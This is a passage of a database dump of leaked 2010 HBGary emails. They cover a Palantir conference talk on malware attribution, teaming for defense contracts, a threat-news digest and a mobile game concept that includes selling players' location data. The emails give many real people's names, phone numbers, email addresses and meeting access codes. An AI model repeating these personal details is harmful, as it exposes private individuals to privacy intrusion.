Disney).\r\n3.  Eventually she would like for companies to be able to fill out a\r\nform to apply to be a reseller.  We review, approve/disapprove, etc.\r\n\r\n\r\n-- \r\nTed\r\n',7095,'aaron_hbgary_com/7095.html'),(11778,'2010-09-15','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008835.M219161P14101Q6633.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,mark@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','RE: TMC discussions / malware presentation at Palantir GovCon','Aaron B, Ted, Mark,\r\n\r\nUnderstand that things are hectic these days but I need to confirm with you that the abstract Aaron Z put together below is on the money.  We need to lock this in by tomorrow so that the GovCon6 agendas can be distributed.\r\n\r\nSo, are we good to go on this?\r\n\r\n-Matt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Zollman \r\nSent: Tuesday, September 14, 2010 11:11 PM\r\nTo: Ted Vera; aaron@hbgary.com; mark@hbgary.com\r\nCc: Matthew Steckman\r\nSubject: TMC discussions / malware presentation at Palantir GovCon\r\n\r\n\r\n	Thanks guys.\r\n\r\n	For my first pass, I worked with the 100mb file that Aaron B provided -- it has 9,000 samples with an average of 20 fingerprints per sample. I mostly played around with it in object explorer -- in screenshots 36-38 you can see me comparing the buffer security checks property in the pre-2006 and post-2006 timeframes; in 39 you can see drilling down on the newer malware objects with buffer security checks, and in 40 you can see a snapshot of a single record.\r\n\r\n	Not exactly thrilling analysis yet, but I think it\'s enough to get started. What\'d be nice is additional test data from TMC which gave us some control systems (ip addresses, domains and/or URLs).. and if we can find a particular cluster and link in some code pulled from code.google.com right in Palantir, I think it\'d look pretty good.\r\n\r\n	If we can get a bit of human data ingested, too, we can basically reuse the abstract from RSA -- I may be stretching here, guys, so tell me if I\'m being too aggressive:\r\n\r\n\"\r\n	Attackers leave clues to their identity in the tools that they create. Drawing on its vast experience analyzing malware, HBGary has brought together binary disassembly, live traces, and human-centric data sets within the Palantir platform. In this breakout session, HBGary and Palantir will show how Palantir can identify trends in malware production over time and drill into interesting clusters leading toward attribution to malware authors or crime rings; and discuss the technical challenges in processing large volumes of malware and modeling the data within Palantir. \r\n\"\r\n\r\n	Hope this is a good start. Over the next few days I\'ll try and get a server set up somewhere so that y\'all can dig into the data as well.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, September 10, 2010 5:58 PM\r\nTo: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\nSubject: Re: GoToMeeting Invitation - TMC Discussions\r\n\r\nHere are the output files (attached).\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n> https://www1.gotomeeting.com/join/397597081\r\n>\r\n> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n> recommended. Or, call in using your telephone.\r\n>\r\n> Dial 914-339-0016\r\n> Access Code: 397-597-081\r\n> Audio PIN: Shown after joining the meeting\r\n>\r\n> Meeting ID: 397-597-081\r\n>\r\n> GoToMeeting®\r\n> Online Meetings Made EasyT\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n',14872,'aaron_hbgary_com/14872.html'),(11779,'2010-09-15','\"Dan Woods\" <dwoods@palantir.com>','/aaron@hbgary.com/new/1297008835.M466106P14101Q6634.eml','aaron@hbgary.com,aaron@hbgary.com','GovCon6 Booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMatthew tells me you&#8217;re ready to present at GovCon6.&nbsp;\r\nA booth has been reserved for you, and I look forward to having you there.&nbsp; Conference\r\nattendee information is available here: http://www.palantir.com/government/conference.&nbsp;\r\n\r\n&nbsp;\r\n\r\nLet me know if you&#8217;d like to keep the same 100-word\r\ncompany description as last time for the conference literature:\r\n\r\n&nbsp;\r\n\r\nHBGary, Inc is the leading\r\nprovider of solutions to detect, diagnose and respond to advance malware\r\nthreats in a thorough and forensically sound manner. We provide the active\r\nintelligence that is critical to understanding the intent of the threat, the traits\r\nassociated with the malware and information that will help make your existing\r\ninvestment in your security infrastructure more valuable.\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com\r\n| 650.248.1909\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7549,'aaron_hbgary_com/7549.html'),(11780,'2010-09-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008835.M731149P14101Q6635.eml','\"Aaron Barr\" <aaron@hbgary.com>','Jack Kerrigan','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLoved youJ\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13914,'aaron_hbgary_com/13914.html'),(11781,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008835.M981373P14101Q6636.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Jack Kerrigan',':)Cool.On Sep 15, 2010, at 8:33 PM, Penny Leavy-Hoglund wrote:Loved youJ&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;',6425,'aaron_hbgary_com/6425.html'),(11782,'2010-09-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008836.M542670P14101Q6637.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, September 14, 2010 10:17 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n\r\nToday\'s articles: \r\n-- Hotel operator warns of data breach\r\n-- Microsoft plans Windows security fixes for patch Tuesday\r\n-- New Adobe attack using stolen certificates\r\n-- Gmail spam bug traced to routing system update\r\n-- How to prevent hacker-induced smart-phone paralysis\r\n-- A cybercriminal\'s shopping list\r\n-- Windows malware dwarfs other viral threats\r\n-- Microsoft helps Adobe block PDF zero-day exploit\r\n-- Attackers exploit additional zero-day vulnerability in Adobe Flash and\r\nReader\r\n-- Cookies from ASP.NET servers can be cracked\r\n-- Spammers exploit second Facebook bug in a week\r\n-- Russian Trojan Blamed for Credit Card Loss\r\n-- Safari 5.0.2 addresses three vulnerabilities\r\n-- Fraud At Sprint Offers Lessons For Enterprises\r\n-- Attacks will shift from targeting devices to targeting people \r\n\r\n\r\n',7911,'aaron_hbgary_com/7911.html'),(11783,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008836.M799981P14101Q6638.eml','\"Karl Stark\" <kstark@phillynews.com>,\"Karl Stark\" <kstark@phillynews.com>','Re: Introduction','Karl,Very sorry for my silence. &nbsp;Do you have time to talk tomorrow or Friday regarding social media?AaronOn Sep 5, 2010, at 1:16 PM, Bob Slapnik wrote:Aaron and Karl,&nbsp;I’d like to introduce the two of you to each other.&nbsp; Karl Stark is my brother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is smart and creative and has ideas around location based social networking.&nbsp; Aaron, I recommend you call Karl to brainstorm.&nbsp;Contact info:Karl 215-356-7403Aaron 719-510-8478&nbsp;Bob&nbsp;',6387,'aaron_hbgary_com/6387.html'),(11784,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008837.M14877P14101Q6639.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','TASC','Hi Bob,\r\n\r\nI talked with Al today.  We are going to get together on Friday to discuss so I can give them some more details on why I think this is the right decision.  I feel positive about it.  I will shoot you an email on Friday and let you know the direction of the conversation.\r\n\r\nTo further describe my motivation for pushing the teaming.  I don\'t want to compete against you in this space.  I think it creates wrinkles on what we are trying to build that I would rather not exist.  You have discriminating capability and past performance in two of the areas that need to be addressed.  I am confident but not stupid.  I know the SAIC/NG team is a formidable competitor even though I believe I have the winning strategy.  I am not looking at all forward to competing against SAIC/NG/Mantech, and possibly Abraxis.\r\n\r\nI will be able to make this point pretty clear to Al, so I expect the conversation to lean towards teaming.\r\n\r\nAaron',16411,'aaron_hbgary_com/16411.html'),(11785,'2010-09-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008837.M274813P14101Q6640.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Can u call?','\r\n\r\n\r\n\r\n\r\nRE: Can u call?\r\n\r\n\r\n\r\n\r\n\r\nSorry Tech Expo all day.&nbsp; We\'ll catch up.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 9/15/2010 4:00 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Can u call?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',11082,'aaron_hbgary_com/11082.html'),(11786,'2010-09-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008837.M514997P14101Q6641.eml','aaron@hbgary.com,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Discuss Mantech as potential team mate for ROMAS','\r\n\r\n\r\n\r\n\r\nDiscuss Mantech as potential team mate for ROMAS\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Friday, September 17, 2010 10:30 AM\r\nEnd Time:Friday, September 17, 2010 11:30 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF#, 3D\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10921,'aaron_hbgary_com/10921.html'),(11787,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008837.M743925P14101Q6642.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: TMC discussions / malware presentation at Palantir GovCon','Understand Matt.  Sorry about not making it out today, got slammed and didn\'t put this on it on my calendar (big mistake).  Any other time this week available?  I am pretty light the rest of the week.  Meeting with FBI Cyber Division went very well.  They really like where we are trying to go with the TMC.\r\n\r\nThings to discuss (folks that are short-term interested in TMC).\r\nIARPA\r\nUS-CERT\r\nFBI\r\n\r\nAs to the abstract, we are good with this.  The description is on with what we are looking to build.  I am going to get a little bit of Greg\'s time next week to review and provide some recommendations on the cluster analysis.\r\n\r\nAaron\r\n\r\nOn Sep 15, 2010, at 5:23 PM, Matthew Steckman wrote:\r\n\r\n> Aaron B, Ted, Mark,\r\n> \r\n> Understand that things are hectic these days but I need to confirm with you that the abstract Aaron Z put together below is on the money.  We need to lock this in by tomorrow so that the GovCon6 agendas can be distributed.\r\n> \r\n> So, are we good to go on this?\r\n> \r\n> -Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Zollman \r\n> Sent: Tuesday, September 14, 2010 11:11 PM\r\n> To: Ted Vera; aaron@hbgary.com; mark@hbgary.com\r\n> Cc: Matthew Steckman\r\n> Subject: TMC discussions / malware presentation at Palantir GovCon\r\n> \r\n> \r\n> 	Thanks guys.\r\n> \r\n> 	For my first pass, I worked with the 100mb file that Aaron B provided -- it has 9,000 samples with an average of 20 fingerprints per sample. I mostly played around with it in object explorer -- in screenshots 36-38 you can see me comparing the buffer security checks property in the pre-2006 and post-2006 timeframes; in 39 you can see drilling down on the newer malware objects with buffer security checks, and in 40 you can see a snapshot of a single record.\r\n> \r\n> 	Not exactly thrilling analysis yet, but I think it\'s enough to get started. What\'d be nice is additional test data from TMC which gave us some control systems (ip addresses, domains and/or URLs).. and if we can find a particular cluster and link in some code pulled from code.google.com right in Palantir, I think it\'d look pretty good.\r\n> \r\n> 	If we can get a bit of human data ingested, too, we can basically reuse the abstract from RSA -- I may be stretching here, guys, so tell me if I\'m being too aggressive:\r\n> \r\n> \"\r\n> 	Attackers leave clues to their identity in the tools that they create. Drawing on its vast experience analyzing malware, HBGary has brought together binary disassembly, live traces, and human-centric data sets within the Palantir platform. In this breakout session, HBGary and Palantir will show how Palantir can identify trends in malware production over time and drill into interesting clusters leading toward attribution to malware authors or crime rings; and discuss the technical challenges in processing large volumes of malware and modeling the data within Palantir. \r\n> \"\r\n> \r\n> 	Hope this is a good start. Over the next few days I\'ll try and get a server set up somewhere so that y\'all can dig into the data as well.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 10, 2010 5:58 PM\r\n> To: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\n> Subject: Re: GoToMeeting Invitation - TMC Discussions\r\n> \r\n> Here are the output files (attached).\r\n> \r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> \r\n> On Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n>> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n>> https://www1.gotomeeting.com/join/397597081\r\n>> \r\n>> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n>> recommended. Or, call in using your telephone.\r\n>> \r\n>> Dial 914-339-0016\r\n>> Access Code: 397-597-081\r\n>> Audio PIN: Shown after joining the meeting\r\n>> \r\n>> Meeting ID: 397-597-081\r\n>> \r\n>> GoToMeeting®\r\n>> Online Meetings Made EasyT\r\n>> \r\n> \r\n> \r\n> \r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n\r\n',4467,'aaron_hbgary_com/4467.html'),(11788,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008837.M972647P14101Q6643.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: TMC discussions / malware presentation at Palantir GovCon','I am good with the description.  Can we get together next week to go over the data and plan ahead.  I am going to get a bit of gregs time next week to make some recommendations on the cluster data.  Maybe we can meet in person and I can add him to the meeting via webex.\r\n\r\nAaron\r\n\r\nOn Sep 14, 2010, at 11:11 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	Thanks guys.\r\n> \r\n> 	For my first pass, I worked with the 100mb file that Aaron B provided -- it has 9,000 samples with an average of 20 fingerprints per sample. I mostly played around with it in object explorer -- in screenshots 36-38 you can see me comparing the buffer security checks property in the pre-2006 and post-2006 timeframes; in 39 you can see drilling down on the newer malware objects with buffer security checks, and in 40 you can see a snapshot of a single record.\r\n> \r\n> 	Not exactly thrilling analysis yet, but I think it\'s enough to get started. What\'d be nice is additional test data from TMC which gave us some control systems (ip addresses, domains and/or URLs).. and if we can find a particular cluster and link in some code pulled from code.google.com right in Palantir, I think it\'d look pretty good.\r\n> \r\n> 	If we can get a bit of human data ingested, too, we can basically reuse the abstract from RSA -- I may be stretching here, guys, so tell me if I\'m being too aggressive:\r\n> \r\n> \"\r\n> 	Attackers leave clues to their identity in the tools that they create. Drawing on its vast experience analyzing malware, HBGary has brought together binary disassembly, live traces, and human-centric data sets within the Palantir platform. In this breakout session, HBGary and Palantir will show how Palantir can identify trends in malware production over time and drill into interesting clusters leading toward attribution to malware authors or crime rings; and discuss the technical challenges in processing large volumes of malware and modeling the data within Palantir. \r\n> \"\r\n> \r\n> 	Hope this is a good start. Over the next few days I\'ll try and get a server set up somewhere so that y\'all can dig into the data as well.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Friday, September 10, 2010 5:58 PM\r\n> To: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\n> Subject: Re: GoToMeeting Invitation - TMC Discussions\r\n> \r\n> Here are the output files (attached).\r\n> \r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> \r\n> On Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n>> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n>> https://www1.gotomeeting.com/join/397597081\r\n>> \r\n>> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n>> recommended. Or, call in using your telephone.\r\n>> \r\n>> Dial 914-339-0016\r\n>> Access Code: 397-597-081\r\n>> Audio PIN: Shown after joining the meeting\r\n>> \r\n>> Meeting ID: 397-597-081\r\n>> \r\n>> GoToMeeting®\r\n>> Online Meetings Made EasyT\r\n>> \r\n> \r\n> \r\n> \r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\n',8411,'aaron_hbgary_com/8411.html'),(11789,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008838.M189497P14101Q6644.eml','\"Irby Thompson\" <irby@pikewerks.com>','Next Week','Hey Irby,\r\n\r\nI have a pretty light schedule so far next week.  So many openings.  Might be easier for you to give me a few and I will make sure they don\'t overlap with the few meetings I have.\r\n\r\nI talked with Mantech.  Red team today for Gatorbait, so late in the game, but I told them your interested and they mentioned talking with you and potentially adding you on the team after award.\r\n\r\nAaron',10350,'aaron_hbgary_com/10350.html'),(11790,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008838.M429569P14101Q6645.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','game concept for \"captains of industry\"',' \r\nGame Concept\r\n--\r\nA game that feeds players need for continuous progression.  Rewards are given through the look and feel of the visible equipment &amp; clothing of the avatar, the look and feel of player owned buildings, and the look and feel of player owned NPC&#39;s.  The player progresses through ownership of buildings, empire expansion, and a progressive technology tree that unlocks greater powers, buildings, and other rewards.  Player progression is primarily through economic power, fundamentally through building ownership and operation, and secondarily through character quests that offer special rewards and items.  Players can interact with buildings through a user-interface and craft items, set options, check on status, and move goods.  An auction house is provided that allows players to buy and sell goods and raw materials from one another.  The player can interface to their buildings and the auction house from their mobile phone or device without logging into the game world.  Status messages and event notifications can be sent to the players mobile device in real time.  Additionally, the player can &quot;check in&quot; from their mobile phone or device and has a chance of receiving a random item.  Players are encouraged to &quot;check in&quot; often.  The player can log into the game world from a regular computer or iPad and interact with other player avatars and NPC&#39;s, as well as construct new buildings in the game world.  While logged in, the player can participate in more immersive game play and shared quests with their friends or guild.  While logged out, the player&#39;s buildings are constantly generating goods and resources, so the game has an &quot;always on&quot; feel.  The integration with mobile phones and devices, &quot;check ins&quot;, and realtime messaging further enhances the &quot;always on&quot; aspect of the game.  The player feels like the game is a parallel universe that is never far away.\r\n\r\n \r\nRevenue Model\r\n--\r\nThe game is free to play, but there are many aspects of game play that take real world time to complete.  These aspects of game play can be &quot;shortcut&quot; by spending real money.  For example, buildings have an inventory, when this fills up the building cannot produce any more items.  Some buildings, such as mines or farms, produce raw materials over time - when the inventory fills up the building stops production.  Other buildings, such as a foundry or factory, produce crafted goods from raw materials.  The raw materials must be moved from the building that produced them to the building that consumes them.  Shipping goods will take time, minutes, hours, or even days depending.  Players who want to short-cut the wait on shipping goods can pay 99 cents for &quot;express delivery&quot;.   Additional revenue can be made by allowing players to purchase goods or items with real money.  Over time, new character classes can be offered (for example, a &quot;pirate&quot; class), that are unlocked for $19.95 one time fee.  The &quot;check in&quot; system can be expanded to work with retail outlets and revenue may be possible from the retailers.  For example, if the player &quot;checks in&quot; at a Starbucks they get a double reward item.  The &quot;check in&quot; system can also be combined with player-preferred locations.  The player can be given 5 &quot;magic stones&quot; that can be placed in the real world - that is, the player assigns these &quot;stones&quot; to a real world location using their mobile phone app.  Once placed, the player will get a guaranteed reward if they &quot;check in&quot; at that location.  Since the player has a limited number of these to place in the real world, they have to be choosy about where they are placed.  The player will tend to place these at locations they already frequent.  So, when the player is given a choice between the nearby Pete&#39;s coffee on the corner, or the slightly farther away Starbucks over by the gas station, they will choose the Startbucks because that is where their &quot;stone&quot; is placed and they need the special reward for the &quot;check in&quot;.  Where the player chooses to place their stones, and where they check-in from, becomes a form of market data that can be sold for money on the back end.  So, as you can see, there are a large number of potential revenue sources.\r\n\r\n \r\nEnd Game\r\n--\r\nPlayers continue to play the game over time because the progression is not just for the look and feel of power and importance, but also because the game has contest.  Many players compete for the same resources, regions of the map are contested and players can fight in these areas for control.  Non-contested areas allow players to build and own property that is permanent.  Guilds allow players to work together to acheive power and expand guild control.  Some acheivements can only be gained after a year or more of work.  There is always something to reach for.  And, once ultimate power is gained, there is always a  competing player or guild to contest with.  This produces the long tail of the game.\r\n\r\n \r\n \r\n \r\n',14362,'aaron_hbgary_com/14362.html'),(11791,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008838.M630016P14101Q6646.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@tasc.com>,,','Re: ManTech','Al,\r\n\r\nThey were teamed up with ManTech but since ManTech has decided not to\r\nprime I am unsure of their status.  They can\'t prime it so I imagine\r\nthey would need to talk with SAIC or TASC to get a seat.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Wednesday, September 15, 2010 07:29 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n> Subject: ManTech\r\n>\r\n> All,\r\n>\r\n> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',5527,'aaron_hbgary_com/5527.html'),(11792,'2010-09-16','\"LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\" <mailer@delivery.cocodot.com>','/aaron@hbgary.com/new/1297008838.M817336P14101Q6647.eml','aaron@hbgary.com','LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n  &nbsp;\r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n&nbsp;\r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n  &nbsp;\r\n    link to map\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	&nbsp;\r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	&nbsp;\r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don\'t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n',7801,'aaron_hbgary_com/7801.html'),(11793,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008847.M156478P14101Q6648.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Stuff','',13553,'aaron_hbgary_com/13553.html'),(11794,'2010-09-16','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008848.M270416P14101Q6649.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 9/15/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Sep 8 - Sep 15\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                        David Etue is now Manager, Cyber Security Practice at PRTM Management Consultants\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Michael Schell has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Matthew Graeber has an updated profile (Headline, Expertise)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Ed Wallach\r\nis now connected to\r\n            Tom Bubser, PMP&#xae;\r\n,             Bernard Durham\r\n,             Debbie Rogers\r\n,       and 1 other person.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Sid Fuchs\r\n    is now connected to\r\n        Peg Begley\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    